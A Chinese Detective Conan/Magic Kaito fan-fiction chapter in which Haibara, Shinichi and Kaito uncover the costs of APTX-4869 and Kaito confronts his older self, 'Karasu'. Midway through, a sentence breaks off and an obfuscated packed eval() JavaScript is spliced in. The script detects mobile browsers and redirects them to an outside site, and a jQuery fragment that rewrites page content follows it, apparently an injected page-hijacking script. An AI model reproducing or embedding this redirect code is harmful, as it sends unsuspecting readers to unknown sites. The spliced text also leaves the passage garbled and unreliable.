一张红色的房卡落在她的手中,灰原哀将其翻转,背面赫然是方块A的图案。 “这个是?” “江户川柯南名下的房间,名侦探说他用不上,灰原小姐请自由使用。” 灰原哀将房卡收下后,听见一声像是怜香惜玉的感叹:“这一天一夜一定让你受了很大的惊吓吧,居然被那帮无礼之徒莫名其妙地掳到海上,真是无妄之灾啊。” 她对这番话的真心程度不予置评,答非所问道:“很多人都对我以前开发的APTX-4869感兴趣,不过说实话,我已经不太愿意再将这种药物的研究进行下去了。不幸的是,命运总是充满阴差阳错,似乎总有外因推着我不断前行。” 看似无关的感言说了一堆,灰原哀眼神微动,话音陡然一转。 “对了,不知你是否对土井塔克树这个名字还有印象?我进入东大医学院后,听说那位前辈和我的研究方向相同,而且他也在筑波研究中心的实验室工作过,据说是一个很有才能的人,可惜在十年前丧命于汐留的一场火灾之中……” “我不认识,但很遗憾听到这样的事。”听到的人不动声色地说。 “那就奇怪了,土井塔克树只是将怪盗Kid的读音重组后的简单字谜吧?” 与灰原哀面上始终不变的微笑不同,她的眼中骤然掠过冷冽锋芒。 “虽然我只听工藤君转述过一次,但Kid曾用这个身份在他面前出现过一次。你若是知晓这点,就没必要跟我隐瞒。所以我想,你对APTX-4869的秘密如此在意,应该也不仅是因为工藤君的问题吧?你的真实身份——” 她沉了沉声音。 “到底是消失了十年的怪盗本尊,抑或是设计将我绑架的幕后黑手、与工藤君作对的乌鸦?” “真是非黑即白的质问。” 楼梯上方领路的人停下脚步,灰原哀的视线不禁顺着长腿延伸上去,看见他从容地将双手插进口袋。定格于她视野的中心,微侧过来的半张脸带着漂亮笑容,居高临下的眼神尽管隐匿在刘海投下的阴影深处,洞穿人心的感觉隔着一段距离反而更加强烈。 “不像是为自己取名为灰原的你提出的问题呢,宫野志保小姐。” 虽然对方此刻外表是工藤新一的模样,乍一眼看去的既视感也有如侦探般尖锐,但内里的东西和对方有着天渊之别。 灰原哀被他话语中的危险气息刺得颈后寒毛一竖,却来不及细思对方如何知晓她的本名,就见一瞬间露出凌厉眼神的人忽然随意地勾起唇角,转回头朝楼道外走去。 “我就不能只是一名简简单单被名侦探工藤新一所资助的英俊贫穷高中生吗?”他悠闲地道。 “那真是让人叹为观止的嗜好。” 冷冰冰地说着不知道在讽刺哪边的话语,灰原哀停顿片刻,心道算了,看起来这人似乎真的打算帮工藤新一带她离开这艘船,所以没必要对这个亦正亦邪的人物太追根究底。她自嘲地想,凭她现在身不由己的境地,能不能顺利度过这次风波都是未知数,不如先做好觉悟。 话虽如此,她还是没忍住吐槽了一句:“别把吃软饭说得那么好听。” “那是你没吃过软饭。” 四下无人,他们来到一处灌满海风的露天平台,黑羽快斗从口袋里拿出两颗巧克力球,抛给灰原哀一颗,剩下一颗打开包装后塞进自己嘴里,圆形的巧克力在他口腔内来回滚动,他含糊道:“……所以不知道那有多好吃。” 女科学家对着天空翻了个白眼。 她这一晚上都没有好好吃什么东西,胃里饿得发空,所以没有说反驳的话,默默地低头啃巧克力,顺便还不得不听对方嘟嘟囔囔地说没志气的话。 “要是能吃一辈子就好了……” “你没有要做的事情吗?”灰原哀有些无奈地问。 黑羽快斗短暂地愣怔了一下,笑容变得落寞了些:“有是有,但是……” 我就只能离开了。 这个回答,还没说出口就令他心中难过起来。 为什么一个人想做的事情和要做的事情会这样背道而驰呢? 他有喜欢的人,却越是努力靠近越是远离对方的心。 他有要保护的人,但他的存在早已从那些人的生活中淡去,已经不需要他再去妄加打扰了。 他还有一个站在舞台中央的精彩梦想,可他必须付出心无旁骛的虔诚,才能创造出让自己引以为豪的演出,这也代表着他要背弃自己身为怪盗的使命,辜负黑羽家的血海深仇。 他该如何抉择? 潜意识里有个声音在提醒黑羽快斗,此刻他已身在至关重要的命运拐点。 他将目光滑向邮轮远处与海同色的漆黑天空,视线放得很远,因此显得非常深邃。 只为满足自己的欲望而活,这样的生存方式非常轻松,而且另一条道路看起来深不见底,一旦踏入就无法回头,他也有预感,自己会在途中失去很多自己心中重要的东西。 但是…… 没有办法让自己假装成对一切无知无觉,自私地窃取幸福的滋味,因为黑羽快斗在这个世界上遇到的每一个人都在忍耐痛苦,离别、孤独、努力无果、希望破灭……时间不仅予人成长与成熟,还有许多人生中无可奈何的东西。 灰原哀好像感觉到了什么,咽下剩余的半块巧克力,说:“以前工藤君变回原样的时候这样说过,无论代价是什么,别让自己后悔就好了。” 黑羽快斗带着困惑和意外的眼神从远处的夜空回转过来,让她后知后觉一阵窘迫,灰原哀抿了下唇,踌躇着不知道该以什么词汇启口,不由拧起眉头。 对方审视地看了一眼灰原哀脸上神情:“他为了变回去,付出了很大的代价?” “那是自然的吧,你以为APTX-4869是女巫的魔法药吗,魔法解除了一切就能恢复如初?那是童话故事里才有的情节。”灰原哀声音压抑地说,“那些渴望永生的人压根不明白被时间抛弃和遗忘的残酷……” 少女眼神莫测地扫过黑羽快斗看不出情绪的脸庞。 “只是被月亮永恒明亮的假象迷惑。” “很有意思的比喻。” 黑羽快斗把手指搭在下颌处,微微笑了一下。 “灰原小姐觉得月亮有何处是假象?” “月球和恒星不一样,从二十亿年前就已经耗尽内部的能量,没有任何火山活动了。想想古往今来人类对月亮的一切深情寄托,都是凝望着一颗作为星球尸体的庞大空壳书写而成的。不觉得真相其实很怪诞吗?” 灰原哀转身走到一张玻璃圆桌旁坐下。 “在时间的长河里,每一颗燃烧的星都终将走向消亡的尽头,光与生命都是眨眼即逝的瞬间,死亡才是与永恒互为一体两面的真相。我不愿再将APTX-4869的开发继续下去的理由也正在于此,人类是不能擅自打破时间法则的。” “不要心存侥幸,APTX-4869永远是一颗致命毒药。”她说,“没有人能成为例外,一旦吞下,就注定有一个人死于非命。” 莎莉贝丝皇后号的顶层套房上方附带有私人泳池。因为是专用的配套设施,出入口只与套房内的专用电梯连通。而且电梯的升降和开关门都做了消声降噪的处理,能够实现上下进出都接近静音。 尽管房间里没有出现任何响动,工藤新一却蓦地睁开双眼。 一间宽敞浴室呈现在他的眼前,随着意识的回归,原本已被工藤新一自动忽略的嘈杂水声重新出现,空间被仿佛急雨的白噪音所充斥。 漂浮的雾气在空气中被无形溶解,灯光被飞溅的细小水珠到处折射,将视野里持续流淌的透明水流都照出了粼粼光色。 足边的水流打着旋涌向下水口。 热水持续不断地从头顶喷洒下来,大概是因为身体末梢供血不足,水流始终无法带给他温暖的感觉,反而激起神经深处残存的痛意。 关上水龙头以后,工藤新一拾起洗手台上的手表看了一眼,距离走进浴室已经过了一个小时。 时间有点久。他想。虽然充斥无限白噪音的环境能够帮助人转移注意,稀释疼痛,但同样也很容易让人丧失时间感。 用手抹开玻璃上的水雾,视线上移,镜中俨然是从少年变回青年模样的自己,除了脸色还有些苍白,外在看起来没有其他异样。 工藤新一轻轻地呵出一口气,心想灰原哀提供的解药还是一如既往的好用。 “就算用江户川柯南的身份登船不容易引人怀疑,但对你身体的负担会不会太大了?” 脚步无声的黑羽快斗从外间冒出头来,他看起来像是刚进屋里不久,微微敞开的衬衣领口下方挂着一条工藤新一的宝蓝色领带。然后对方一边看似顺口地道出关心的话语,一边把领带从脖子上扯了下来,随手丢到一把沙发椅的靠背上面。 “没事,这样更保险,万一有人发现船上存在两个我才棘手。” “推给怪盗就好啦。” “更麻烦了吧。” 这句话黑羽快斗终于装不出轻松的语气,视线扫向工藤新一。 “区区麻烦,比得上你那么痛吗?” 他轻轻地问。 黑羽快斗其实半个小时前就回到这里了。 他清楚工藤新一应该能顺利从江户川柯南变回原来的样子,却还是如坐针毡地度过了半个小时,耳朵敏锐地捕捉到浴室里嘈杂水声都无法彻底掩盖的闷哼……很难想象,那是多么激烈的痛楚,才能突破那个骄傲侦探从来逞强的齿关,隐忍的喘息令人心痛。 无人知晓他在这段时间里内心有多煎熬,直到觉察到工藤新一的呼吸逐渐平缓下来,黑羽快斗才不再隐匿自己的气息,拔起几乎僵直的腿走了进来。 浓郁如雾的水汽从敞开的浴室里面不断漫出,证明对方才刚结束沐浴。青年披着浴袍,站在背对着他的方向,水的痕迹顺着湿润的尾发流过修长而骨感的后颈,没入微敞的衣领。感觉到黑羽快斗步入房间的动静,他没有急着回头,先将用来擦拭头发的毛巾放了下来,才抬起脸,举起手掌将遮覆了眉尾连同眼角的湿发一同拢了上去。 等实在扛不住黑羽快斗透出强烈谴责情绪的视线,他才不再避开黑羽快斗的眼睛,叹了口气:“我这不是没事?就是一整天没休息有点累,睡一觉就好了。” “不是这么简单能解决的问题吧……”黑羽快斗满脸都写着欲言又止,想问你一贯都这么结果至上,完全将自己付出的牺牲视为无物吗?又有心想说解药的后遗症不是早就对你的身体造成了很大影响吗?别再勉强自己了。但临到嘴边的千言万语都在工藤新一的注视中戛然而止,他又想妥协了。 因为侦探的眼睛已经诉说了他的无怨无悔。 黑羽快斗心中骤然涌起一股可悲的感情,为自己此刻的愤怒和无能为力感到挫败不已。 包括我,你这是要凭一己之力保护多少人啊…… 你拯救过那么多人,又有谁能把你从永无止境的痛苦之中拯救出来呢? 心中盘旋的疑问让黑羽快斗忽然想起自己今天被问过的一个问题。 “名侦探,你有没有自己想做的事情?”他强调,“只是为了你自己的。” 工藤新一为他的问题怔了一下。 侦探这回是彻底将脸转向了他这边,似乎有一瞬间想说什么,含在舌上,却在无声无息间渐渐地融化。 微弱的光线映出他非常俊秀的脸孔,眼睫、鼻梁投下极为立体的阴影。其实这人的面相是真的很年轻,说是才二十出头都有人信,没有因为岁月的流逝而失去锐气。 只有望向他的眼睛,黑羽快斗才能看见那条汹涌奔流的时间长河,阻隔开双方人生的十年光阴。 从灰原哀说解药有后遗症起,他心中隐约意识到了工藤新一身上确实存在某些违和之处。此刻这个不期而至的念头忽然让黑羽快斗模糊地猜想到了一种可能性。 莫非……但这有可能吗? 他因为自己脑海中冒出的荒诞猜想而心跳加速,咽下口中的唾沫,连颈后都好像有冷汗渗出。 在令黑羽快斗心神摇晃的寂静氛围中,工藤新一轻声回答了他的问题。 “推理,还有……”对方停顿了一会儿,“和一个人再见一面。” 明明是位特别了不起的名侦探,这个人的心愿却非常简单。 简单得黑羽快斗只是在经过他的人生时不经意地窥探一眼,遽然就是眼皮一烫,只剩下想要满足他愿望的想法悄然沉入心底。 工藤新一擦干发梢以后发现黑羽快斗正独自坐在围起阳台的栏杆外侧,微翘的短发被海风吹得轻轻摇晃。虽然他没有穿着那身考究的白西装,但那仿佛遗世独立的剪影却俨然一副怪盗的姿态。 深深地看了这个背影一眼,工藤新一打开玻璃推门,没有问他为什么不睡,而是道:“有心事?” “说得出口就算不上心事了。” “呵……”对方轻笑一声,“说的也是。” 当工藤新一仰首凝望银河时,黑羽快斗正侧目描摹着侦探浸在夜色中的轮廓。 远离了光污染泛滥的东京大都市,远海的星空比他们一同在工藤家的屋顶上时看见的样子要明亮许多,星辉璀璨地照亮了夜空与大海,闪烁于工藤新一那在夜晚中深如海色的眼底。 理智与安静,侦探先生总是若有似无地散发出这种气质。黑羽快斗很少遇见有人能把情绪藏得那么深,以致他偶尔窥见对方克制的表象之下隐忍深沉的情愫,都感觉难以触及。 这个人出身优越,容颜出色,头脑也聪明,还有美丽的青梅竹马自小陪伴在侧,明明可以拥有精彩热闹的人生,他却偏偏选择了最为艰险和孤独的一条路,从始至终矢志不移,将灵魂淬炼得连时光长河都为之却步。 “但我有个问题还是想知道。” “什么?” “你现在的样子……到底算是29岁,还是更年轻?” 黑羽快斗终于把他觉察许久的违和之处问了出来。 “不知道的人还以为你才是侦探,观察得这么仔细。” 工藤新一闭上眼轻笑了一下。 “虽然我不是女人,但对个人隐私刨根问底可有失怪盗风度呢。” “那是因为,我认为这是不追根究底不行的问题。”黑羽快斗说。 一手握住栏杆,他侧过脸看向工藤新一,前额的发梢轻轻飘动,眼神收敛了好似与生俱来的轻松笑意,显得出奇严肃。 在他们骤然寂静的空间背后,潮湿海风卷起海浪,夜之海倒映着明月夜。 “从那位科学家小姐口中听说她不愿继续研究APTX-4869的时候我就很奇怪,既然她早就决定放弃,为何这十年间仍在从事相关研究,以致后来被乌鸦盯上。” 海涛的声音略微冲淡了黑羽快斗低低的诉说声,让人很难察觉,他的嗓音中透着轻微颤意。 “不希望继续研究,却仍是做了,言行存在极大的矛盾之处,说明存在其他动机使她认为这是有必要完成的工作。” 其实仔细去观察那位小姐的样貌和过去宫野志保的照片就可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15639879|171799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以看得出来,19岁的灰原哀和17岁的宫野志保的模样完全一模一样,就算以他身为变装专家的观察力去分辨,也看不出丝毫成长的痕迹。 如果将工藤新一这些年的留影记录排列起来观察,结论就更明显了。就算他17岁的时候用解药恢复了原本的身体,但后来几年他身体的成长程度却远远不及同龄人,尤其在最近几年,他身上的时间甚至如同彻底停滞。只是因为他有意无意地降低自己出现在公众面前的频率,加上很多案件都选择远程解决,这才没有太多人觉察到异样而已。 侦探在这次解救灰原哀的行动中变回了自己17岁时的样子,他说的理由是打算使用江户川柯南的身份,然而根据黑羽快斗从灰原哀电脑中窃取的数据记录来看,APTX-4869的原始数据早已被一位名为贝尔摩得的人销毁,她手中只有不断进行版本迭代的解药数据。 工藤新一不可能再次得到那个让他变小的药物。 真相至此早已昭然若揭。 “你不是因为吃了灰原小姐给你的药物才变回以前的样子,恰恰是因为没有吃解药才不得不变回去。” 心潮在沉郁的感情中被悲伤吞没。 “所以我,是不是也——” 黑羽快斗的话才说出口就戛然而止。 因为工藤新一抬手扣住了他的下颌,在随风飘动的刘海下方,翻涌着海涛色彩的眼眸定定地注视着他浮现错愕的脸孔。 该怎么形容这位名侦探一瞬间极为复杂的眼神? 让黑羽快斗看见无形的时间奇妙地具现化在他们之间。 在这连彼此的呼吸都近在咫尺的时光隅隙,对方的眼神既如深渊一般让人看不见底,又仿佛一片没有边际的放逐之海,起伏着滔天的波浪,让岁月光阴都在其中漂流和流浪,化为一抹碎开的光影,消逝于他的瞳中。 所有猜测都被工藤新一以吻封缄,黑羽快斗想说的话,望着他却又忍不住吞咽了回去。 战栗密密麻麻地从尾椎攀升到脑髓里,就像他思绪里无序乱窜的太多难过。 你在这孤身奋战的十载年月里,究竟是如何度过的…… 喉咙被远超自己所应有的情感堵塞住了。 名侦探把他变成了薛定谔的猫,在工藤新一的舌勾起黑羽快斗动摇微启的唇,以吻传递一颗表层几乎软化的胶囊那刻,他还是不知道自己究竟是想把对方就此推开,还是想更用力地收紧拥抱着工藤新一的手臂。 他的心跳无比贴近他的心跳,工藤新一将手指抚上他的脸侧,连指根的戒指都染上了黑羽快斗的体温,鼻息之间逐渐充盈起他们交错的气息,这分明是个死亡之吻——却好像有一种不可思议的力量,把他整颗心席卷其中。 怎么能推开呢?黑羽快斗无可奈何又忍不住开心地想着。他是真的很喜欢这个人啊。从第一次遇见名侦探起,他就开始暗自懊恼自己为什么不能再早一点遇见工藤新一呢?要是能更早邂逅,他们之间一定会经历很多精彩纷呈的美妙故事吧。 “抱歉,快斗。既然你已经意识到真相,就该醒过来,背负起属于你自己的命运了。” 迅疾的风从下方吹来,从高层坠落的黑羽快斗仰望着工藤新一越来越远的身影,内心不再失落,而是无可救药地感到幸福与平静。 啊啊,原来如此,你是打着这个主意啊。 黑羽快斗松开手中扯裂的衣袖,深深地看了一眼工藤新一浴衣的袖摆裂口暴露出的赤裸手臂。 真夸张,连伤痕都不复存在了。 明明是证实了猜想,黑羽快斗的内心却仿佛吸饱了酸涩的汁水,愈加沉重。 他心想:看来变回少年时期的样貌以后,你身上难以愈合的伤势也奇迹般地自愈了啊。 很多人可能觉得人在成年以后身体才处于巅峰期,其实对人体来说,生理机能最为活跃的时期是更年轻一些的发展阶段,也就是所谓的生长峰值期。 在灰原哀的论文中,黑羽快斗留意到这样的说明: 此时细胞的生长和分裂功能被最大限度地激活,通常只会持续很短的一段时间。但如果通过某种干预,使其出现某种基因突变,导致这种高度活跃的状态能以奇迹般的稳定模式无限维持下去,□□就不会衰老。 不但受伤会极快自愈,而且连外貌都不会再发生变化。 这封冻一般的状态不是完全无法打破,通过长期规律的药物调节,抑制突变基因的表达,就能如同普通人一般正常成长。 作为代价,就是十年间无数次酷烈折磨着工藤新一的精神、常人连瞬息都难以承受的生长苦痛,以及几乎丧失功能的自愈能力。 在这信息时代,作为一个名人,工藤新一这十年间的变化都被尽收于媒体纤毫毕现的高清镜头。 问题在于,名侦探身上一度流淌的时间再次不知不觉地凝结成令人窒息的时光琥珀。 恐怕工藤新一自己也意识到了这个事实—— 他的身体,开始出现药物抗性了。 思及此处,黑羽快斗飘摇的目光已经快被疾风吹散成碎片,揭晓了降临于工藤新一身上残酷命运的同时,他也终于无法回避地意识到一个真相。 难怪热衷追根究底的名侦探不曾意外17岁的黑羽快斗出现在自己的墓园里。 在他自我认知中不曾存在的那段岁月,并非完全空白。 搞什么啊。黑羽快斗不太理解地叹了口气。一个欺骗自己的身体,一个欺骗自己的灵魂,不都是自欺欺人的把戏吗? 无论侦探还是怪盗,都是一丘之貉。 黑羽快斗在本能的驱使下掉转了身体下落的角度,望着越来越近的漆黑大海,许是预见了濒死的危机,心脏鼓动的声音越来越大,席卷全身的热度沸腾到让他快要窒息的地步。 越来越多的晕黑色彩在他视野中央溅开,模糊的边缘不断扩散,眼前蒸散开来的画面汹涌溯回到故事原点,黑羽快斗断片的记忆重新连上线的那夜。 墓园里栽植的一片柏树随风摇动,浓郁森绿之下衍生出无数丛生的阴影。 黑暗的尽头被工藤新一悉数踩在脚底,单手插兜的人越走越近,漆黑睫羽下方的眼睛投射出锋锐无匹的审视目光。 每一步都在怀疑,每一步都在判断。 穿过叶隙的月光太过微弱,无人得见他瞳孔深处的某种东西快要沸腾。 四目相对的瞬间,一阵打破对峙的大风吹走了他们之间海市蜃楼似的虚幻迷雾,连同彼此内心摇动不止的某种震颤一起,于是无论树梢之下的无穷阴影,还是当夜过于破碎渺茫的月光,都被这位破案率百分百的伟大侦探随意地拂下肩头。 与犯罪专家狭路相逢,三流侦探破解手法,二流侦探追索动机,一流侦探洞察人心。 所以他所遗落的那些回忆碎片,究竟隐藏着多少与工藤新一纠缠不清的故事? 渴望和回避的冲动矛盾地纠缠于黑羽快斗的内心。 世间一切不欲人知的谜题都是潘多拉盒子里的东西,擅自揭露必然伴随某种形式的灾难降临自身。虽然将其打开之后存在渺茫希望能将不幸治愈,但若世事尽如人意,就不存在那么多输得一无所有的赌徒了。 黑羽快斗的眼睛轻轻闭上又立即睁开,就这千万分之一秒的失恋瞬间,他认真地意识到,追根究底,工藤新一最初的寒暄,工藤新一冷静的告白,工藤新一此刻的道歉,所对话的人,从来都不是17岁的、与他错位时空的黑羽快斗。 钟情于黑羽快斗的名侦探,他真正想见的人…… ——是真正埋葬在自己内心的坟墓中,早已没有了过去和未来,早已失去其他容身之处的另一个黑羽快斗。 或者说。 ——是布下环环相扣的计策,不择手段地围剿仇敌,利用潘多拉的永生诱惑搅动世间风云,羽翼被罪孽彻底染黑的犯罪专家——乌鸦。 “那就如你所愿……” 来挖开我内心的坟墓吧。 白色浪花盛开于漆黑海面,黑羽快斗合上双眼,沉入时光的深海。 21.File 21 “真是理智啊,那个侦探。”黑暗中有个人自言自语,“我还以为他会很喜欢呢,一个能被他玩弄于股掌中的黑羽快斗。亏我一直觉得爱上我就是他在劫难逃的宿命,莫非这个想法……太自信了?” “喂,我说——你这种不顾人死活的话能不能只放在心里想想就够了?我会生气的。” “呵呵,抱歉。不过你没注意到吗?这里,就是我们的心。” 黑羽快斗骤然回眸,视野尽头缓步走来的少年全身都笼罩在漆黑的斗篷之下,出现得好像幽灵般鬼魅,袍角随着步伐无声飘动,露出下方的白色皮鞋。 比预想中的感觉还年轻啊——似乎觉察到黑羽快斗观察的视线,对方利落地抬手抓住兜帽,裹着白手套的指尖在边缘停顿一瞬,随后将其掀落到身后,深得似井的眼瞳直直望向面露诧异的黑羽快斗。 “你……”怎么会是这副样子。似乎能解读他滚动到舌尖的疑问,凝视过来的那双眼睛不躲不闪,全不在意黑羽快斗逐渐眉头紧锁的困顿神情。 面前是一张与他骨相一致的脸孔,却被白色的医疗绷带层层遮覆,让黑羽快斗第一时间联想到怪盗淑女惯用来遮掩面容的手法,然而从眼角暴露的红黑血肉又告诉他那其实是代表降临于对方身上的可怖灾厄。 烧伤,而且肯定不止脸的程度。 黑羽快斗的目光从他同样缠绕着绷带的脖颈、蓝色袖口与手套的间隙,以及过分骨节分明的纤细手指上接连掠过。 “不用惊讶,这只是便于现在的你来理解我的处境,所以我特地用自己十年前的样子出现而已。” 就像表演一种万圣节的惊悚魔术,用漫不经心声音说话的人一圈圈揭开绷带,从领口开始,自下而上展露出细腻如玉的白皙皮肤,绷带在柔滑的面庞上飞速滑动,颠簸的尾端荡开他过长的发梢,又轻轻拂过漆黑浓密的眼睫。 “然后,这是我现在的样貌。” 随意地任由绷带从指间滑脱,他摊开双手,一张俊俏而且毫无瑕疵的年轻脸孔几乎让黑羽快斗以为看见镜中的自己。 除了那双泛起笑意也依旧气息冷然的眼睛,昭示着一切天真烂漫的感情已经悄无声息地流逝于杳然漆黑的时光长河,使命运的轨迹急转直下,也使他们判若两人。 “初次见面,17岁的黑羽快斗。我是你绝对不想成为的29岁的黑羽快斗。” 那人用不带一丝情绪的语气自我介绍,冷冽声调似乎寸寸将过去的自己的脚底凝结成冰。 越来越多的阴影蔓延到足边,这个时代的黑羽快斗缓步走到他的身侧,轻柔说道:“当然,你也可以称呼我在这个时代更为常用的代称——乌鸦。” 嘀嗒。嘀嗒。 回忆空间的深处不断传来滴水的声音。 四下无人,只有黑羽快斗独自经过一条幽暗的长廊。 这是一所隐秘的私人医院,因此空间到处充斥着一股消毒水的气味。与往日不同的是,当下那股刺鼻的味道中夹杂着一丝微弱却浑浊的甜腥气,始终阴魂不散地萦绕在鼻端,若是闻得久了,就让人不禁感到晕眩作呕。 眼下不是黑夜,不过室外一直淅淅沥沥下着小雨,浓云遍布的天空显得比往常更加低矮,压迫得人几乎喘不过气,水渍黏黏地粘在玻璃上,倒映出灯管微弱频闪的光色。 地点,时间,紧接着被他感知所捕捉的存在是人物。 “千影小姐,继续坚持是没有意义的。” 转过走廊,一名身着白大褂的中年医师对凝望着前方玻璃的女子劝道。 “您从火场中找到快斗少爷的时候已经太迟了,不仅是遍及全身的严重烧伤,少爷的呼吸道以及胸肺器官都有严重的吸入性损伤,加上烟雾中毒的侵蚀,他的呼吸功能已经在不可逆转地衰竭,能活到现在已经是求生意志和天命的奇迹,但这样生存着的每分每秒对少爷来说都将伴随生不如死的痛苦。” “你的意思是让我放他解脱吗?”黑羽千影低声说。 “快斗少爷有着连您和盗一先生都无法企及的天赋,他视魔术如生命,肯定不会愿意如废人一般地活着。” “那孩子在我找到他时还在苦苦坚持着啊,为了保护盗一的尸体,他的手都被烧得露出骨头,我卸掉他肩膀的骨头才强行让他把盗一松开。然后你知道吗?快斗忽然就哭了,他自己被烈火焚身的时候都没有掉眼泪,似乎知道他最后连父亲的遗体都无法保护。我那时就在想,我余生再也不会辜负他的愿望,哪怕这样生不如死地活着,只要他还有求生的欲望……” 他本来至死都不该忘记这些过去。 对不起,妈妈……黑羽快斗轻轻拥抱了黑羽千影的幻影,安静地闭上眼睛。 似乎对应着他的记忆,下一瞬间黑羽快斗就穿越了面前那一层ICU阻隔的玻璃,站在病床前,深深凝视着眼前……只能称之为“还活着”的生物。 胸肺部的严重感染让他只能依靠切开气管插入的软管进行呼吸,更遑论发声和进食。在生理循环只能借助仪器代替完成,而且皮肤血肉都烧焦溃烂的状态下,恐怕很难有人能想象,这样的人居然仍然存有意识。 妈妈,妈妈……微弱开阖着唇发出无声的呼唤。是歉疚还是求救,现在的黑羽快斗已经无法知晓,尽管这是他自己的亲身经历。 为什么会沦落到这个境地?在此之前更多记忆翻腾着在黑羽快斗的脑海深处蒸散开来,不断涌现和具现,这个时代的自己所经历过的、无数次险象环生的困境。 自从发现黑羽盗一的密室以及继承怪盗Kid的身份以后,黑羽快斗就被一位代号为毒蛇的男人死咬不放,屡次面临生死危机。不甘示弱的少年怪盗当即施展手段,反追踪到了对方的身份。 根据毒蛇身上暴露的线索,黑羽快斗得知他所在的组织就是八年前谋杀自己父亲黑羽盗一的真正仇敌,以及对方的目的是寻找潘多拉——一颗能实现长生不老的奇迹的命运宝石。 这颗宝石神秘到了初代怪盗历时十年都难寻其踪迹的地步,非但如此,还为黑羽盗一引来了组织的关注,在灾难被引向家庭和家人之前,他的死讯让暗世界的追杀戛然而止。 为了报杀父之仇,黑羽快斗下定决心毁掉潘多拉,彻底破灭组织积年的夙愿。此后无数珍奇宝石走马灯一般落入他的掌心然后被月光贯穿,面对的敌意与危机一同与日俱增,他的日常逐渐开始被九死一生的黑夜取代,受伤与流血都成为家常便饭,但只要咬住牙关扯下那身过于显眼的白衣,假作若无其事地披上代表掩盖一切真相的学兰校服,第二天的太阳依旧如常升起,他还是一名没有太多城府的寻常高中生。 从最初刚成为怪盗时频频露馅的兵荒马乱到逐渐对双面生活驾轻就熟,他与工藤新一初遇和再会的经历就像从云层间隙投下的月光,黑羽快斗一度自由地享受着与最佳对手针锋相对的乐趣,也有意无意地用谜题包装真心,袒露自己无处可诉的感情。他也不是没有过畅想,尽管自己的爱情在这最不合时宜的时期萌芽,或许有朝一日的白天,黑羽快斗能够装模作样地站在宿敌面前,假装游刃有余地郑重介绍自己的名字。 然而,他不切实际的妄想在毫无预兆的时候急转直下—— 寺井之死,让黑羽快斗再也不去构想自己的未来。 已经没有回头路了,就算发挥此生最精妙的演技去维护光鲜的高中生活,黑夜的梦魇还是如影随形地将他所有余裕都侵蚀殆尽。在那之后其实只有数月,但那几个月漫长得像是没有尽头,黑羽快斗开始适应孤身奋战的生活,也开始习惯时时刻刻都在话语中掺杂谎言,明面上他还在发预告,声势浩大地谋夺宝石,背地里却以各异的身份、面貌、声音周旋于无数危险场合,精妙地藏匿起自己的目的,不择手段地追踪组织的一切动向。 潘多拉的真相、APTX-4869的研究、组织首脑的野望……世界背面的真相被他挥手拂开,原来各国权力顶层的那么多人都在期盼着永生的美梦成真,以稳固他们的地位,满足他们支配世界的欲望。 黑羽快斗与贝尔摩得见了一面,因为他父亲曾对她有恩,对方为他提供了不少消息。 由于贝尔摩得过去的告密,许多大人物都得知了潘多拉残篇已经流落于某个组织的消息。那些人明面上表现得对永生的话题毫不在意,事后打着维护公众安全旗号的FBI、CIA以及MI6等情报组织却很快暗中出动,连国家的公安厅都接到了上面的指示,派遣多名精英潜入组织。 戏剧化的是,根据残篇开发出的药物作为高危致死的毒药在那个组织中扬名,使用者绝大多数早已确认死亡,仅有一名例外也早在许久前被报告失踪,生存概率极低,调查人员早已将其视为死亡。 当黑羽快斗入手那份调查记录,他扫过上面记载失踪的名字,却难得笑了一笑。 造化弄人,原来他第一次见名侦探的时候,就已经得到了答案。 黑羽快斗从那时开始刻意地避开工藤新一,那位重新回归到日光下的17岁高中生侦探,他命运的镜像。虽然时有被对方追赶到身后的经历,他回头望向咫尺之外侦探锐不可当的眼睛,却再说不出引诱他来到自己世界的漂亮话语。 喂,别再靠近我了。 他想对他说。 因为,这边就是地狱啊。 那时在外人看来,宫野志保留存于世的研究资料仅剩筑波研究中心留存的论文,黑羽快斗利用土井塔克树的假身份潜入机构,果然发现多方势力渗透的痕迹。 与此同时,有个研究团队也一直对宫野志保过去发布的论文极感兴趣,经过两年的探索,他们根据相关理论研发了一款尚未开始临床测试的新药,为了获得更多资金以及政策支持,团队准备在汐留景观楼召开的国际医学论坛上进行宣讲。 倘若他们当真研发出类似APTX-4869功效的新药,这将是一次具有变革人类历史的意义的重大事件。 黑羽快斗决定阻止这个潘多拉的盒子被打开。 他没想到的是,这个选择彻底改变了他的命运。 黑羽快斗19岁的人生经历了两次转折。第一次是他推开自己卧室的暗门,从此他的人生逐渐从光明灿烂的日常跌入神秘疯狂的月夜。第二次是他与乌鸦在汐留的火海狭路相逢。 乌鸦,这名深受毒蛇信赖的神秘高层,此前黑羽快斗早对其有所耳闻。据说对方以谋略见长,是军师地位的犯罪专家。 与乌鸦本人相见之时,热风中变形的假面从对方脸上逐渐脱落,露出穷途末路表情的反而是夺得新药资料的黑羽快斗。 谁能想到,乌鸦的真身竟是他十年前就死于魔术事故的父亲——黑羽盗一。 那场黑羽快斗记忆中杀死他父亲的魔术事故,居然是黑羽盗一以乌鸦之名指引毒蛇谋害他自己的一场骗局。 为什么要这么做? 为什么要化身乌鸦?为什么要诈死?为什么要离开我和母亲?各种各样的问题盘旋于黑羽快斗的心脏,堵得他胸腔闷胀。您知不知道,一生忠心于您的寺井爷爷最后都没有与您相见? 涌到眼眶的泪水始终盘旋着不肯落下。 无法用言语形容黑羽快斗此刻的悲伤,在许多人都葬身火海的那刻,空气被热浪扭曲成怪异的形状,仿佛死神信手扬起死亡的阴影,浓烟与烈火疯狂地从四面八方汹涌地扑来。 没有逃生的空间,因为在黑羽快斗将一名误闯火场的小孩勉强送出以后,道路就被崩毁的建筑封死了。 即将坠入火海的前一刻,他的手被黑羽盗一牢牢抓住。 